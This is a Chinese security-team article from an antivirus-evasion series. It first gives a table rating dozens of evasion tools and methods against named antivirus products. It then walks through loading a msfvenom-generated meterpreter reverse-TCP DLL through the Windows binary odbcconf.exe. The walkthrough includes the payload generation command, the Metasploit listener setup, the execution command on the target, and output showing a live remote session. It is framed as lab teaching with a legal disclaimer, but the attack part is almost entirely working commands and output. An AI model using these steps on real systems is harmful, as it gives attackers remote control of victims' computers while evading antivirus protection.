

Author:你伤不到我哒@Tide安全团队

Tide安全团队：

Tide安全团队致力于分享高质量原创文章，研究方向覆盖网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等多个领域，对安全感兴趣的小伙伴可以关注或加入我们。

Tide安全团队自研开源多套安全平台，如Tide(潮汐)网络空间搜索平台、潮启移动端安全管控平台、分布式web扫描平台WDSscanner、Mars网络威胁监测平台、潮汐指纹识别系统、潮巡自动化漏洞挖掘平台、工业互联网安全监测平台、漏洞知识库、代理资源池、字典权重库、内部培训系统等等。

Tide安全团队自建立之初持续向CNCERT、CNVD、漏洞盒子、补天、各大SRC等漏洞提交平台提交漏洞，在漏洞盒子先后组建的两支漏洞挖掘团队在全国300多个安全团队中均拥有排名前十的成绩。团队成员在FreeBuf、安全客、安全脉搏、t00ls、简书、CSDN、51CTO、CnBlogs等网站开设专栏或博客，研究安全技术、分享经验技能。

对安全感兴趣的小伙伴可以关注Tide安全团队Wiki：<http://paper.TideSec.com> 或团队公众号。



声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！

文章打包下载及相关软件下载：<https://github.com/TideSec/BypassAntiVirus>

免杀能力一览表

几点说明：

- 1、表中标识 ☒ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
- 2、为了更好的对比效果，大部分测试payload均使用msf的 `windows/meterpreter/reverse_tcp` 模块生成。
- 3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本 5.0.0.8160 (2020.01.01)，火绒版本 5.0.34.16 (2020.01.01)，360安全卫士 12.0.0.2002 (2020.01.01)。
- 4、其他杀软的检测指标是在 [virustotal.com](https://www.virustotal.com)（简称VT）上在线查杀，所以可能只是代表了静态查杀能力，数据仅供参考，不足以作为杀软查杀能力或免杀能力的判断指标。
- 5、完全不必要苛求一种免杀技术能bypass所有杀软，这样的技术肯定是有的，只是没被公开，一旦公开第二天就能被杀了，其实我们只要能bypass目标主机上的杀软就足够了。
- 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理，静态查杀payload或者查杀白名单程序都没有任何意义，所以这里对白名单程序的免杀效果不做评判。

序号	免杀方法	VT查杀率	360	QQ	火绒	卡巴	McAfee	微软	Symantec	瑞星	金山	江民	趋势
1	未免杀处理	53/69									<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	
2	msf自编码	51/69		<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	
3	msf自捆绑	39/69		<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
4	msf捆绑+编码	35/68	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
5	msf多重编码	45/70		<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
6	Evasion模块exe	42/71		<input checked="" type="checkbox"/>							<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
7	Evasion模块hta	14/59			<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
8	Evasion模块csc	12/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
9	Veil原生exe	44/71	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>						<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>
10	Veil+gcc编译	23/71	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
11	Venom-生成exe	19/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>				<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
12	Venom-生成dll	11/71	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
13	Shellter免杀	7/69	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
14	BackDoor-Factory	13/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
15	BDF+shellcode	14/71		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>
16	Avet免杀	17/71	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>		<input checked="" type="checkbox"/>			<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>	<input checked="" type="checkbox"/>

17	TheFatRat:ps1-exe	22/70		✓	✓		✓	✓	✓		✓	✓	✓
18	TheFatRat:加壳exe	12/70	✓	✓		✓	✓	✓	✓		✓	✓	✓
19	TheFatRat:c#-exe	37/71		✓			✓			✓	✓	✓	✓
20	Avoidz:c#-exe	23/68		✓		✓	✓			✓	✓		✓
21	Avoidz:py-exe	11/68		✓		✓	✓		✓		✓	✓	✓
22	Avoidz:go-exe	23/71		✓		✓	✓	✓			✓	✓	✓
23	Green-Hat-Suite	23/70		✓		✓	✓	✓			✓	✓	✓
24	Zirikatu免杀	39/71	✓	✓	✓					✓	✓	✓	✓
25	AVlator免杀	25/69	✓	✓	✓		✓		✓	✓	✓	✓	✓
26	DMKC免杀	8/55		✓		✓		✓	✓	✓	✓	✓	✓
27	Unicorn免杀	29/56			✓				✓		✓	✓	✓
28	Python-Rootkit免杀	7/69	✓	✓	✓		✓		✓	✓	✓	✓	✓
29	ASWCrypter免杀	19/57	✓				✓				✓	✓	✓
30	nps_payload免杀	3/56	✓	✓	✓		✓	✓	✓	✓	✓	✓	✓
31	GreatSct免杀	14/56	✓	✓	✓			✓	✓	✓	✓	✓	✓
32	HERCULES免杀	29/71			✓						✓		✓
33	SpookFlare免杀	16/67		✓	✓	✓	✓		✓	✓	✓		✓
34	SharpShooter免杀	22/57	✓	✓				✓			✓	✓	✓
35	CACTUSTORCH免杀	23/57	✓	✓	✓		✓				✓	✓	✓
36	Winpayloads免杀	18/70	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
37	C/C++1:指针执行	23/71	✓	✓			✓		✓		✓		✓
38	C/C++2:动态内存	24/71	✓	✓			✓		✓		✓		✓
39	C/C++3:嵌入汇编	12/71	✓	✓	✓		✓	✓	✓		✓	✓	✓
40	C/C++4:强制转换	9/70	✓	✓	✓		✓	✓	✓	✓	✓	✓	✓
41	C/C++5:汇编花指令	12/69	✓	✓	✓		✓	✓	✓		✓	✓	✓
42	C/C++6:XOR加密	15/71	✓	✓	✓		✓		✓	✓	✓	✓	✓
43	C/C++7:base64加密1	28/69	✓	✓	✓		✓		✓		✓	✓	✓
44	C/C++8:base64加密2	28/69	✓	✓	✓		✓		✓		✓		✓
45	C/C++9:python+汇编	8/70	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
46	C/C++10:python+xor	15/69	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
47	C/C++11:sc_launcher	3/71	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
48	C/C++12:使用SSI加载	6/69	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
49	C# 法1:编译执行	20/71	✓	✓	✓		✓		✓	✓	✓	✓	✓
50	C# 法2:自实现加密	8/70	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
51	C# 法3:XOR/AES加密	14/71	✓	✓	✓		✓		✓	✓	✓	✓	✓
52	C# 法4:CSC编译	33/71	✓	✓	✓					✓	✓	✓	✓
53	py 法1:嵌入C代码	19/70	✓	✓	✓			✓		✓	✓	✓	✓
54	py 法2:py2exe编译	10/69	✓	✓	✓		✓		✓	✓	✓	✓	✓
55	py 法3:base64加密	16/70	✓	✓	✓	✓				✓	✓	✓	✓
56	py 法4:py+C编译	18/69		✓	✓					✓	✓	✓	✓
57	py 法5:xor编码	19/71	✓	✓	✓					✓	✓	✓	✓
58	py 法6:aes加密	19/71	✓	✓	✓					✓	✓	✓	✓
59	py 法7:HEX加载	3/56	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
60	py 法8:base64加载	4/58	✓	✓	✓	✓	✓		✓	✓	✓	✓	✓
61	ps 法1:msf原生	18/56	✓	✓	✓					✓	✓	✓	✓

[illegible]

本文目录：

- 免杀能力一览表
- 一、Odbcconf.exe介绍
- 二、利用Odbcconf.exe执行payload法
- 三、参考资料：

一、Odbcconf.exe介绍

Odbcconf.exe是一个命令行工具，可让您配置ODBC驱动程序和数据源名称（微软官方文档<https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver15>）。

Odbcconf.exe在windows中的的一般路径为C:\Windows\System32\odbcconf.exe
C:\Windows\SysWOW64\odbcconf.exe

通过文档可发现有两种方式来加载dll，/A和/F

以下开关可用：

开关	描述
/A { 动作 }	指定一个动作。 如果仅指定一个动作，则 /A 是可选的。
/?	显示ODBCCONF.EXE的用法。
/C	如果操作失败，则处理继续。
/E	处理完成后，擦除用 /F 指定的响应文件。
/F	使用响应文件，例如 <code>odbcconf /F my.rsp</code> 。 my.rsp可能看起来像这样： <code>REGSVR c:\my.dll</code> /A 未在响应文件中使用。
/H	显示用法（帮助）。此开关与 /? 相同。
/L [模式] 文件名	将程序输出以以下三种模式之一发送到文件：正常（n），详细（v）和调试（d）。调试模式记录由odbcconf.exe加载的DLL。 如果您指定不带模式的 /L，则日志文件将为空。 例如， /L v log.txt。
/R	该操作将在重启后执行。
/秒	静音模式。不显示错误消息。

二、利用Odbcconf.exe执行payload 法

攻击机：kali ip地址：192.168.10.130

靶机：win7 ip地址：192.168.10.135

使用msfvenom生成shellcode,注意生成的是dll格式

```
msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp  
lhost=192.168.10.130 lport=4444 -f dll > hacker.dll
```

```
root@kali:~# msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp  
lhost=192.168.10.130 lport=4444 -f dll > hacker.dll  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder or badchars specified, outputting raw payload  
Payload size: 510 bytes  
Final size of dll file: 5120 bytes
```

设置监听：

```
msf5 > use exploit/multi/handler  
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp  
payload => windows/x64/meterpreter/reverse_tcp  
msf5 exploit(multi/handler) > set lhost 192.168.10.130  
lhost => 192.168.10.130  
msf5 exploit(multi/handler) > set lport 4444  
lport => 4444  
msf5 exploit(multi/handler) > run
```

靶机运行payload：

```
odbcconf.exe /a {regsvr C:\Users\Administrator\Desktop\hacker.dll}
```

```
以太网适配器 本地连接:

    连接特定的 DNS 后缀 . . . . . : localdomain
    本地连接 IPv6 地址 . . . . . : fe80::d1e0:ae25:5e99:e0d2%11
    IPv4 地址 . . . . . : 192.168.10.135
    子网掩码 . . . . . : 255.255.255.0
    默认网关 . . . . . : 192.168.10.2

C:\Users\Administrator>odbcconf.exe /a {regsvr C:\Users\Administrator\Desktop\hacker.dll}

C:\Users\Administrator>
```

成功上线：

```
[*] Started reverse TCP handler on 192.168.10.130:4444
[*] Sending stage (206403 bytes) to 192.168.10.135
[*] Meterpreter session 1 opened (192.168.10.130:4444 -> 192.168.10.135:49209) at 2020-02-22 21:45:13 +0800

meterpreter >
```

这个也被杀软盯上了，行为检测预警。



三、参考资料：

基于白名单Odbcconf执行payload: [https://micro8.github.io/Micro8-HTML/Chapter1/81-](https://micro8.github.io/Micro8-HTML/Chapter1/81-90/82_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%950dbconf%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E4%BA%8C%E5%AD%A3.html)

[90/82_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%950dbconf%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E4%BA%8C%E5%AD%A3.html](https://micro8.github.io/Micro8-HTML/Chapter1/81-90/82_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%950dbconf%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E4%BA%8C%E5%AD%A3.html)

重剑无锋@TIDE安全团队 HTTP://WWW.TIDSESEC.COM